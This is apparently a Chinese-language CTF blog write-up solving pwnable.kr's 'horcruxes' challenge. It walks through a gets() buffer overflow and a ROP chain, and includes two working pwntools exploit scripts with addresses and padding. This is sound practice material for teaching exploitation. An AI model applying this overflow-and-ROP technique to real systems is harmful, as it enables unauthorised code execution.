0x00 前言 前陣子跑去上了成大的關鍵基礎設施資安學程,加上AIS3和HITCON,我整個暑假整個爆滿。這幾天好不容易有休息的時間來練習自己一直丟給隊友的PWN,這次是選擇Pwnable.kr的題目,本次只有一題horcruxes,但我解完這題後發現還蠻有趣的,挺適合練習ROP的思路。
0x01 分析 ssh進去會發現有一個horcruxes和readme。readme裡有寫到他把程式開在9032 port上 (connect to port 9032 (nc 0 9032). the ‘horcruxes’ binary will be executed under horcruxes_pwn privilege. rop it to read the flag.) 那我們先下載來吧
1 scp -P 2222 horcruxes@pwnable.kr:~/horcruxes .
拿到後馬上用ida分析 我們會發現ropme是拿到flag的關鍵,看起來atoi(s) == sum 這邊我們只要知道sum就能拿到flag 這邊追回去發現init_abcdefg會叫到他 這邊能發現到他會用一些隨機的值生成出來result 我們能用ida在他的function中找到一堆奇怪的func 這些func會把那些隨機的值輸出出來,這看起來就很ROP 現在我們只要用ropme的get來bof就好
0x02 ROP 先算出要填幾個a,之後放入rop的位置 我們看一下記憶體位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 gef➤ info func All defined functions : Non-debugging symbols: 0x0809fbec _init 0x0809fc20 seccomp_init@plt 0x0809fc30 read @plt 0x0809fc40 printf @plt 0x0809fc50 gets@plt 0x0809fc60 seccomp_rule_add@plt 0x0809fc70 getchar@plt 0x0809fc80 seccomp_load@plt 0x0809fc90 alarm@plt 0x0809fca0 puts@plt 0x0809fcb0 exit @plt 0x0809fcc0 open@plt 0x0809fcd0 srand@plt 0x0809fce0 __libc_start_main@plt 0x0809fcf0 setvbuf@plt 0x0809fd00 rand@plt 0x0809fd10 __isoc99_scanf@plt 0x0809fd20 atoi@plt 0x0809fd30 close@plt 0x0809fd40 __gmon_start__@plt 0x0809fd50 _start 0x0809fd80 __x86.get_pc_thunk.bx 0x0809fd90 deregister_tm_clones 0x0809fdc0 register_tm_clones 0x0809fe00 __do_global_dtors_aux 0x0809fe20 frame_dummy 0x0809fe4b A 0x0809fe6a B 0x0809fe89 C 0x0809fea8 D 0x0809fec7 E 0x0809fee6 F 0x0809ff05 G 0x0809ff24 main 0x080a0009 ropme 0x080a0177 init_ABCDEFG 0x080a0324 hint 0x080a0350 __libc_csu_init 0x080a03b0 __libc_csu_fini 0x080a03b4 _fini
我們把要用的記錄下來後把他們串在a後面 最後在跳回rop去拿flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *r = remote("pwnable.kr" , 9032 ) a = 0x0809fe4b b = 0x0809fe6a c = 0x0809fe89 d = 0x0809fea8 e = 0x0809fec7 f = 0x0809fee6 g = 0x0809ff05 ropme = 0x080a0009 rop = flat( a, b, c, d, e, f, g, ropme ) r.sendlineafter(b":" , b"48763" ) r.sendlineafter(b":" , b"a" * 0x78 + rop) print (r.recvuntil(b"Select Menu:" ))r.sendline(b"48763" ) r.interactive()
然後確定ok直接給他跑下去
沒錯他掛掉了 TT 經過分析記憶體位置後發現ropme = 0x080a0009,我沒注意到裡面有0a 因為0a的關係會讓我們輸入斷在那邊
ㄓ這…這一定是出題者的惡意.. :angry_pepe:
0x03 GET_FLAG 這邊我們能用main的call 0x80a0009 <ropme>來跳到ropme
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *r = remote("pwnable.kr" , 9032 ) a = 0x0809fe4b b = 0x0809fe6a c = 0x0809fe89 d = 0x0809fea8 e = 0x0809fec7 f = 0x0809fee6 g = 0x0809ff05 ropme = 0x0809fffc rop = flat( a, b, c, d, e, f, g, ropme ) r.sendlineafter(b":" , b"48763" ) r.sendlineafter(b":" , b"a" * 0x78 + rop) print (r.recvuntil(b"Select Menu:" ))r.sendline(b"48763" ) r.interactive()
最後只要把拿到字串中的數字取出進行加總就好 我們能使用 re 或 但單純字串切割來拿到sum
但…沒錯 我選擇用複製+計算機+貼上 拿到flagㄌ hehe